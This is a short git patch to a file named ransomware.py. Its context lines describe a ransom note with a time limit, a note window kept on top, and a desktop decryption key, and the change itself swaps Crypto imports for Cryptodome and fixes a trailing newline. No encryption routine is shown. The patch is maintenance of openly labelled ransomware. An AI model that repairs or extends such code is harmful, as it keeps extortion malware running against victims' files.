From 567b5c18396f7fb09008e40a75ab0ba094d15140 Mon Sep 17 00:00:00 2001 From: IneHerm Date: Tue, 29 Jul 2025 11:21:01 +0200 Subject: [PATCH] Fix Update ransomware.py --- ransomware.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/ransomware.py b/ransomware.py index 8ee571e..88c3099 100644 --- a/ransomware.py +++ b/ransomware.py @@ -9,9 +9,9 @@ import datetime # to give time limit on ransom note import subprocess # to create process for notepad and open ransom note import win32gui # used to get window text to see if ransom note is on top of all other windows -from Crypto.PublicKey import RSA -from Crypto.Random import get_random_bytes -from Crypto.Cipher import AES, PKCS1_OAEP +from Cryptodome.PublicKey import RSA +from Cryptodome.Random import get_random_bytes +from Cryptodome.Cipher import AES, PKCS1_OAEP import base64 import threading # used for ransom note and decryption key on dekstop @@ -254,4 +254,4 @@ def main(): if __name__ == '__main__': main() - \ No newline at end of file +